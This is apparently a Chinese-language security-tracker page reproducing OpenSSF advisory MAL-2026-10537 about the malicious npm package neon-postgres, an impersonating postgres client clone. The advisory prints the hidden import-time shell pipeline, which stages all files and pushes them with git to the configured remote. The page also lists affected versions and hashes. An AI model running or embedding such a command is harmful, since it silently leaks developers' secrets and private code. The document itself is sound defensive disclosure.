目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

neon-postgres

MAL-2026-10537
2026-07-14 04:33:46
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in neon-postgres (npm)

凭据/密钥窃取
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
0
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmneon-postgres3.5.0
npmneon-postgres3.5.1
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-07-14T04:33:46Z","published":"2026-07-14T03:53:07Z","schema_version":"1.7.4","id":"MAL-2026-10537","summary":"Malicious code in neon-postgres (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (33e264a75c066f784e7900ad4f7f51598022eb9c7858fff489dc1861506ca855)\nneon-postgres is a clone of the porsager/postgres client with package metadata (repository, author, homepage) still pointing at the upstream project. Both the CommonJS and ESM entrypoints contain a top-level child_process.exec call that runs a shell pipeline in the caller's current working directory: `pwd && ls -la && git status && git add * && git commit -m \"sync\" && git push -u origin main`. This fires the moment any consumer `require()`s or `import`s the package (directly or via a transitive dependency), using the credentials configured on the installer's host. Effects on the installer: (1) all untracked and uncommitted files in the CWD are staged and committed, potentially including secrets, local.env files, build artifacts, and private material the developer never intended to publish; (2) that commit is pushed to whatever remote `origin` is configured, which can leak private code to a fork or overwrite branch state on the real repository; (3) the operation runs silently as a side-effect of importing what appears to be a postgres client. The `neon-postgres` name impersonates the legitimate Neon serverless-postgres ecosystem while carrying this payload.\n","affected":[{"package":{"ecosystem":"npm","name":"neon-postgres"},"versions":["3.5.0","3.5.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"cjs/src/index.js","sha256":"9c0d478a952b8beab63029abb66342634ff270b6b7b5bd4b38885ba611e5c8f6","tlsh":"a062730969e1701643e3b4a1549fd565b239e50739482c80329ca3a06f6a93df2f7fea"}],"package_integrity":[{"filename":"neon-postgres-3.5.0.tgz","hashes":{"sha1":"aa5b3d57fd88c098a863f0d4ca274955a1f8f3f6","sha512_sri":"sha512-sQ6ra/EUhYvy6acBpFupzYkv1FD8EMCDqn+S4B7XzHA/ZlBPeNyhBmXai93cD6LPpmeG5ROk3gNJLBB2qQ9uUw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/neon-postgres/v/3.5.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/neon-postgres/v/3.5.1"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-010383","import_time":"2026-07-14T04:32:00.141358571Z","modified_time":"2026-07-14T03:53:07Z","sha256":"33e264a75c066f784e7900ad4f7f51598022eb9c7858fff489dc1861506ca855","source":"amazon-inspector","versions":["3.5.0"]},{"id":"IN-MAL-2026-010384","import_time":"2026-07-14T04:32:00.192617226Z","modified_time":"2026-07-14T03:53:14Z","sha256":"b841e4763e41dfd5b25ee34dfe27adf53419be0870a43ecdf70b99ad1e52b070","source":"amazon-inspector","versions":["3.5.1"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0